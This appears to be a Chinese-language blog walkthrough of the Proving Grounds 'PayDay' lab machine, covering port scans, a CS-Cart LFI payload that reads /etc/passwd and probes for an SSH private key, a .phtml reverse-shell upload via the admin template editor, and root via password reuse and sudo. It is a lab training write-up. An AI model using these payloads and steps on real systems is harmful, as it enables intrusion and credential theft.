Proving Grounds Practice : PayDay Walkthrough
Proving Grounds Practice : PayDay Walkthrough
Foothole (立足點 ) :
- 80 Port 發現 CMS "CS-Cart",Searchsploit 後發現 LFI 可以成功讀到 /etc/passwd
- 接著查看 /?version 發現版本就是 1.3.3 然後使用另一個 RCE 48891
- 依據說明上傳 *.phtml 然後執行利用拿到 reverse shell
PE ( 提權 ) :
- 現有使用者 www-data 甚麼權限都沒有
- 直接列舉使用者 patrick 發現密碼一樣可以 ssh 登入
- sudo -l 後提權成功
注意事項 :
- SSH 發現 no matching host key type found. Their offer: ssh-rsa,ssh-dss
- 透過修改 ~/.ssh/config 可以成功登入
- 參考 https://blog.alanwei.com/blog/2022/01/24/ssh-no-matching-host-key-type-found/
- Linux 一定要測試帳號密碼兩個都一樣的切換嘗試
第一步 Rustscan,└─$ rustscan -a 192.168.187.39 --scripts none --ulimit 5000 | tee rustscan
snmp closed,└─$ sudo nmap -sU -p 161 192.168.187.39 | tee snmp
nmap,└─$ sudo nmap -sCV -A -p 22,80,110,139,143,445,993,995 192.168.187.39 | tee nmap
22/tcp open ssh OpenSSH 4.6p1 Debian 5build1 (protocol 2.0)
80/tcp open http Apache httpd 2.2.4 ((Ubuntu) PHP/5.2.3-1ubuntu6)
110/tcp open pop3 Dovecot pop3d
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: MSHOME)
143/tcp open imap Dovecot imapd
445/tcp open netbios-ssn Samba smbd 3.0.26a (workgroup: MSHOME)
993/tcp open ssl/imap Dovecot imapd
enum4linux,└─$ enum4linux -a 192.168.187.39 | tee enum4linux
使用者名稱測試 SSH 連線,發現不給用密碼方式連線,馬上想到要去找 Key
whatweb,└─$ whatweb http://192.168.187.39 | tee whatweb
80 /
80 /index.php?target=sitemap
admin:admin 測試登入成功
searchsploit CS-Cart
直接參考 48890 LFI : https://www.exploit-db.com/exploits/48890
PoC : http://www.site.com/classes/phpmailer/class.cs_phpmailer.php?classes_dir=../../../../../../../../../../../etc/passwd%00
成功讀到了
使用者帳號 patrick
讀看看有沒有 id_rsa,結果無該檔案,http://192.168.187.39/classes/phpmailer/class.cs_phpmailer.php?classes_dir=../../../../../../../../../../../home/patrick/.ssh/id_rsa%00
http://192.168.187.39/?version 發現版本是 1.3.3,都跟我們在 searchsploit 中搜尋到的一樣
看看另外一個 RCE 48891 參考 : https://www.exploit-db.com/exploits/48891
描述寫將 php Reverse shell 的檔案改成 .phtml,接著透過 file manager 上傳
然後訪問 http://[victim]/skins/shell.phtml --> Profit. ...!
實在是相當的不清楚,好在偉大的 Google 可以幫助,搜尋到這一篇
https://gist.github.com/momenbasel/ccb91523f86714edb96c871d4cf1d05c
步驟大概如下
1. 登入 admin 帳號(不可以登入一般帳號),然後存取 /admin.php
2. 在 "look and Feel" 點擊 "template editor"
3. 上傳 .php 但是副檔名要先改成 .phtml
4. 接著就可以訪問 http://[victim]/skins/whoami.phtml
5. 拿到 RCE
/admin.php 使用 admin:admin 登入
Look and Feel --> Template Editor
上傳檔案 php-reverse-shell-phtml
存取 http://192.168.187.39/skins/php-reverse-shell.phtml,拿到 Reverse Shell 了
cat /etc/crontab
sudo -l
pspy64 跑不起來
SUID Check,find / -perm -u=s -type f 2>/dev/null
看來有 MySQL
Chisel 搭建不起來
LFI 實有發現使用者帳號是 patrick 所以嘗試用 patrick 登入 SSH 試試看,但是出現錯誤
Unable to negotiate with 192.168.187.39 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
查了一下發現這一篇 https://blog.alanwei.com/blog/2022/01/24/ssh-no-matching-host-key-type-found/
新增一筆如下
其他參考說明 : https://blog.csdn.net/Bruce1114/article/details/128266565
這個原因主要是 openssh >= 8.8p1 版本後直接禁用了 ssh-rsa 演算法,但是靶機只支援 ssh-rsa 演算法,又不能升級靶機只好把攻擊機的 ssh-rsa 演算法啟用,下列是針對該台伺服器啟用
只要換了 IP 或是其他台都一樣要再設定一次,也可以直接整個 Global 啟用,參考連結設定即可
再登入一次就成功了,且看來 patrick 的密碼就是 patrick
sudo -l 發現可以執行 (ALL) ALL
那就直接 sudo su 就成為 root 了
補充說明 :
在原有 www-data 使用者的 tty 介面中要切換使用者 patrick 時,輸入密碼直接跳過無法輸入密碼
於 TTY 介面 SSH 本機一樣失敗
留言
張貼留言